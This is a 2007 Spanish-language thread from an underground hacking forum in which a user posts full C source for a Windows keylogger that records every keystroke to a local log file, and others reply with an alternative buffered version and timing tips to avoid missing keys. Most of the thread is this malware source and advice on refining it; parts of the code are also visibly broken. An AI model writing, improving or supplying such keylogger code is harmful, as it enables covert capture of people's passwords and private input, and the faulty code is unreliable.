Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Julio 24, 2008, 06:07:00
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: mi keylogger, que les parece? 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: mi keylogger, que les parece?  (Leído 653 veces)
Ni0
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1357


Ni0-inside the source code

Ni0@el-hacker.org
Ver Perfil WWW Email
« en: Agosto 19, 2007, 02:18:29 »

hola, depues de ver varios post con keyloggers,decidi crearme uno (basado en lo que vi)

aca esta:

// Keylogger por Ni0
#include <time.h>
#include <windows.h>
#include <stdio.h>

time_t t;
char ru[13];
char rd[14];

main ()
{
    FILE *f;
    int c = 0;
    time(&t);
    nctime(ctime(&t));
    ttime();
    f = fopen("keys.log", "a");
    fprintf(f, "log empezado:\n%s\n%s", ru, rd); //pone la fecha y hora de cuando se ejecuto
    fclose(f);
    while(1){
        sleep(5);
        c = 8;
        while(c < 223){
            if(GetAsyncKeyState(c) == -32767){
                if((c >= 65 && c <= 90) || (c >= 48 && c <= 57)){
                    f = fopen("keys.log", "a");
                    fprintf(f, "%c", c);
                    fclose(f);
                }
                else{
                    switch(c)
                    {
                        case VK_ESCAPE:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [ESC] ");
                            fclose(f);
                            break;
                        case VK_SPACE:
                            f = fopen("keys.log", "a");
                            fprintf(f, " ");
                            fclose(f);
                            break;
                        case VK_UP:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F ARRIBA] ");
                            fclose(f);
                            break;
                        case VK_DOWN:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F ABAJO] ");
                            fclose(f);
                            break;
                        case VK_LEFT:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F IZQUIERDA] ");
                            fclose(f);
                            break;
                        case VK_RIGHT:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F DERECHA] ");
                            fclose(f);
                            break;
                        case VK_NUMPAD0:
                            f = fopen("keys.log", "a");
                            fprintf(f, "0");
                            fclose(f);
                            break;
                        case VK_NUMPAD1:
                            f = fopen("keys.log", "a");
                            fprintf(f, "1");
                            fclose(f);
                            break;
                        case VK_NUMPAD2:
                            f = fopen("keys.log", "a");
                            fprintf(f, "2");
                            fclose(f);
                            break;
                        case VK_NUMPAD3:
                            f = fopen("keys.log", "a");
                            fprintf(f, "3");
                            fclose(f);
                            break;
                        case VK_NUMPAD4:
                            f = fopen("keys.log", "a");
                            fprintf(f, "4");
                            fclose(f);
                            break;
                        case VK_NUMPAD5:
                            f = fopen("keys.log", "a");
                            fprintf(f, "5");
                            fclose(f);
                            break;
                        case VK_NUMPAD6:
                            f = fopen("keys.log", "a");
                            fprintf(f, "6");
                            fclose(f);
                            break;
                        case VK_NUMPAD7:
                            f = fopen("keys.log", "a");
                            fprintf(f, "7");
                            fclose(f);
                            break;
                        case VK_NUMPAD8:
                            f = fopen("keys.log", "a");
                            fprintf(f, "8");
                            fclose(f);
                            break;
                        case VK_NUMPAD9:
                            f = fopen("keys.log", "a");
                            fprintf(f, "9");
                            fclose(f);
                            break;
                        case VK_MULTIPLY:
                            f = fopen("keys.log", "a");
                            fprintf(f, "*");
                            fclose(f);
                            break;
                        case VK_ADD:
                            f = fopen("keys.log", "a");
                            fprintf(f, "+");
                            fclose(f);
                            break;
                        case VK_SUBTRACT:
                            f = fopen("keys.log", "a");
                            fprintf(f, "-");
                            fclose(f);
                            break;
                        case VK_DIVIDE:
                            f = fopen("keys.log", "a");
                            fprintf(f, "/");
                            fclose(f);
                            break;
                        case VK_F1:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F1] ");
                            fclose(f);
                            break;
                        case VK_F2:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F2] ");
                            fclose(f);
                            break;
                        case VK_F3:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F3] ");
                            fclose(f);
                            break;
                        case VK_F4:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F4] ");
                            fclose(f);
                            break;
                        case VK_F5:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F5] ");
                            fclose(f);
                            break;
                        case VK_F6:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F6] ");
                            fclose(f);
                            break;
                        case VK_F7:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F7] ");
                            fclose(f);
                            break;
                        case VK_F8:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F8] ");
                            fclose(f);
                            break;
                        case VK_F9:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F9] ");
                            fclose(f);
                            break;
                        case VK_F10:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F10] ");
                            fclose(f);
                            break;
                        case VK_F11:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F11] ");
                            fclose(f);
                            break;
                        case VK_F12:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F12] ");
                            fclose(f);
                            break;
                        case VK_F13:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F13] ");
                            fclose(f);
                            break;
                        case VK_F14:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F14] ");
                            fclose(f);
                            break;
                        case VK_F15:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F15] ");
                            fclose(f);
                            break;
                        case VK_F16:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F16] ");
                            fclose(f);
                            break;
                        case VK_F17:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F17] ");
                            fclose(f);
                            break;
                        case VK_F18:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F18] ");
                            fclose(f);
                            break;
                        case VK_F19:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F19] ");
                            fclose(f);
                            break;
                        case VK_F20:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F20] ");
                            fclose(f);
                            break;
                        case VK_F21:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F21] ");
                            fclose(f);
                            break;
                        case VK_F22:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F22] ");
                            fclose(f);
                            break;
                        case VK_F23:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F23] ");
                            fclose(f);
                            break;
                        case VK_F24:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [F24] ");
                            fclose(f);
                            break;
                        case VK_LSHIFT:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [SHIFT IZQ] ");
                            fclose(f);
                            break;
                        case VK_RSHIFT:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [SHIFT DER] ");
                            fclose(f);
                            break;
                        case VK_LCONTROL:
                            if(GetAsyncKeyState(165) == -32767){
                                f = fopen("keys.log", "a");
                                fprintf(f, " [ALT GR] ");
                                fclose(f);
                            }
                            else{
                                f = fopen("keys.log", "a");
                                fprintf(f, " [CONTROL IZQ] ");
                                fclose(f);
                            }
                            break;
                        case VK_RCONTROL:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [CONTROL DER] ");
                            fclose(f);
                            break;
                        case 190:
                            f = fopen("keys.log", "a");
                            fprintf(f, ".");
                            fclose(f);
                            break;
                        case 188:
                            f = fopen("keys.log", "a");
                            fprintf(f, ",");
                            fclose(f);
                            break;
                        case 189:
                            f = fopen("keys.log", "a");
                            fprintf(f, "-");
                            fclose(f);
                            break;
                        case VK_BACK:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [BORRAR] ");
                            fclose(f);
                            break;
                        case VK_TAB:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [TABULADOR] ");
                            fclose(f);
                            break;
                        case 164:
                            f = fopen("keys.log", "a");
                            fprintf(f, " [ALT IZQ] ");
                            fclose(f);
                            break;
                    }
                } 
            }
            c++;
        }
    }
}

ttime(void) //traduce la fecha al castellano (veran eso de ru y rd, era de otro programa que
//hice que necesitabaque la fecha este dividida en 2, para no hacer la traduccion de nuevo
//copie y pege
{
    if(ru[0] == 'M' && ru[1] == 'o' && ru[2] == 'n'){
        ru[0] = 'L';
        ru[1] = 'u';
        ru[2] = 'n';
    }
    else if(ru[0] == 'T' && ru[1] == 'u' && ru[2] == 'e'){
        ru[0] = 'M';
        ru[1] = 'a';
        ru[2] = 'r';
    }
    else if(ru[0] == 'W' && ru[1] == 'e' && ru[2] == 'd'){
        ru[0] = 'M';
        ru[1] = 'i';
        ru[2] = 'e';
    }
    else if(ru[0] == 'T' && ru[1] == 'h' && ru[2] == 'u'){
        ru[0] = 'J';
        ru[1] = 'u';
        ru[2] = 'e';
    }
    else if(ru[0] == 'F' && ru[1] == 'r' && ru[2] == 'i'){
        ru[0] = 'V';
        ru[1] = 'i';
        ru[2] = 'e';
    }   
    else if(ru[0] == 'S' && ru[1] == 'a' && ru[2] == 't'){
        ru[0] = 'S';
        ru[1] = 'a';
        ru[2] = 'b';
    }
    else if(ru[0] == 'S' && ru[1] == 'u' && ru[2] == 'n'){
        ru[0] = 'D';
        ru[1] = 'o';
        ru[2] = 'm';
    }
    if(ru[4] == 'J' && ru[5] == 'a' && ru[6] == 'n'){
        ru[4] = 'E';
        ru[5] = 'n';
        ru[6] = 'e';
    }
    else if(ru[4] == 'A' && ru[5] == 'p' && ru[6] == 'r'){
        ru[4] = 'A';
        ru[5] = 'b';
        ru[6] = 'r';
    }
    else if(ru[4] == 'A' && ru[5] == 'u' && ru[6] == 'g'){
        ru[4] = 'A';
        ru[5] = 'g';
        ru[6] = 'o';
    } 
}

nctime(char time[]) //aca divide en 2 la fecha (como dije con ttime, esto era necesario para
//otro programa, para no hacer el codigo de nuevo, copie y pege
{
    int i = 0;
    int ir = -1;
    int flag = 0;
    while(flag < 3){
        ru = time;
        i++;
        if(time == ' '){
            flag++;
        }
    }
    ru = ' ';
    i++;
    ru = ' ';
    i++;
    ru = '\0';
    i--;
    i--;
    while(time != '\0'){
        i++;
        ir++;
        rd[ir] = time;
    }
}
En línea

Inside The Source Code



Linux Registred User #460377
FreakMind
Habitual
*****
Desconectado Desconectado

Mensajes: 181



Ver Perfil
« Respuesta #1 en: Agosto 19, 2007, 05:29:50 »

Buenas

Me parece que es bastante ineficiente en el sentido que por un solo caracter escribis en disco (cosa muy costosa).

Por otra parte, al usar fopen no controlas que se hayan abierto con exito los archivos. Ademas, no lo cierres tantas veces.

En otro foro hicieron un codigo parecido y deje la forma en que para mi seria mejor (aunque no sea completa). Aca te dejo el codigo:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define LINE                1024
#define CARACTERES   256
#define SLEEP              2

int main(void)
{
     FILE                    *f;
     int                        c,  n = 0;
     int                        line[LINE];   

     if(!(f = fopen("log.txt","a+")))
           exit(EXIT_FAILURE);

     while(1){
              for(c = 0; c < CARACTERES - 1; ++c){
                    if(GetAsyncKeyState(c) == -32767){
                          if(isspace(c) && c != '\n'){
                                 n = 0;
                                 memset(line, 0, LINE);
                                 continue;
                         }

                         if( n < LINE ){
                             line[n++] = c;
                         }else{
                             fwrite(line, n, f);
                             n = 0;
                             memset(line,0, LINE;
                         }
                    }
              }
              sleep(SLEEP);
     }
     fclose(f);     

     exit(EXIT_SUCCESS);
}

Obviamente es muy simple. Faltaria varias cosas como por ejemplo, disminuir n cuando se apriete el VK_BACK, etc
En línea

Connoisseurs of C semantics find C++ inferior to ++C

DarkIker
Habitual
*****
Desconectado Desconectado

Mensajes: 261


Colombia Underground Team

dark_iker_reign@hotmail.com
Ver Perfil WWW Email
« Respuesta #2 en: Agosto 19, 2007, 05:32:55 »

sleep(2) = dormir 2 segundos, usa "Sleep( 100 )" que es de windows propiamente y dureme 100 ms, asi no te come la cpu y te loguea perfectamente.

Att: DarkIker
En línea

http://www.colombiaunderground.org --> Colombia Underground Team
http://darkiker.blogspot.com --> My Blog
Ni0
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1357


Ni0-inside the source code

Ni0@el-hacker.org
Ver Perfil WWW Email
« Respuesta #3 en: Agosto 20, 2007, 07:07:04 »

hola, probe eso de sleep 100, pero si escribia un poco rapido, me salteaba una letra.
eso de cerrar todas las veces, es porque el programa no finaliza nunca, entonces va a terminar cuando cierres el windows, y ya me paso que si cerras el windows y tenes archivos aviertos y por una de esas casualidades aparece eso de finalizar ahora...(que el windows le da tiempo al programa a cerrarse, si no lo hace, lo finaliza) el programa se cierra pero dejo un archivo abierto, y me paso que el archivo se borra.
gracias por los comentarios, debi aclarar que es mi primer keylogger y digamos que llevo un año programando "en serio", mucha experiencia no tengo
En línea

Inside The Source Code



Linux Registred User #460377
FreakMind
Habitual
*****
Desconectado Desconectado

Mensajes: 181



Ver Perfil
« Respuesta #4 en: Agosto 20, 2007, 10:49:05 »

Buenas

No te preocupes que yo no hace mucho mas que estoy programando "en serio" (principios del 2006 vi las primeras cosas de C) y tampoco hice un keylogger xD

Fijate si con la funcion atexit() no podes solucionar eso de Windows. La podes buscar en algun manual de C, pero en si como su nombre lo dice "at exit" llama a la funcion que le pases por parametro.

Otra posibilidad quizas es la funcion signal que al mandar Windows la señal de terminacion al programa, la atrape, guarde el contenido del vector en el archivo y lo cierre

Son solo ideas nose si alguna sea factible

Salu2, FreakMind
En línea

Connoisseurs of C semantics find C++ inferior to ++C

Ni0
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1357


Ni0-inside the source code

Ni0@el-hacker.org
Ver Perfil WWW Email
« Respuesta #5 en: Agosto 20, 2007, 05:41:53 »

yo tambien!, empeze en el 2006, encontre un manual de C y lo lei, despues me interesaron las api, lei sobre las api, y en este año hice 3 programas "en serio", y ahora queria ver sobre los sockets, ya tengo la info, solo tengo que tener tiempo libre (la secundaria me esta matando) y empezar a programar sockets, despues me interesaba el ensamblador, algo se, muy muy poco, pero puedo poner el valor 4 en AX, jeje y tambien terminar un programa, jeje. ahora estoy creando un programa "medio antivirus", hace unos meses me conecte al internet, este se puso muy lento, la pc tambien, asique aprete crtl +alt +del y me di cuenta que muchos programas con nombres raros se estaban ejecutando, reinicie la pc, y el panda me detecto como 20 virus y un rootkit, asique decidi crear uno que todo los procesos que no esten en una lista, los finalize, y como es un programa hace todo rapido, asique si se vuelve a ejecutar lo va a volver a cerrar enseguida (las funciones de finalizar procesos me la dio un moderador de esta seccion, gracias a el puedo hacer el programa), cuando lo termine voy a poner el codigo.
salu2
En línea

Inside The Source Code



Linux Registred User #460377
Ni0
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1357


Ni0-inside the source code

Ni0@el-hacker.org
Ver Perfil WWW Email
« Respuesta #6 en: Agosto 20, 2007, 05:44:56 »

ahh conrespecto a sleep y Sleep, gracias
En línea

Inside The Source Code



Linux Registred User #460377
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: mi keylogger, que les parece? « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC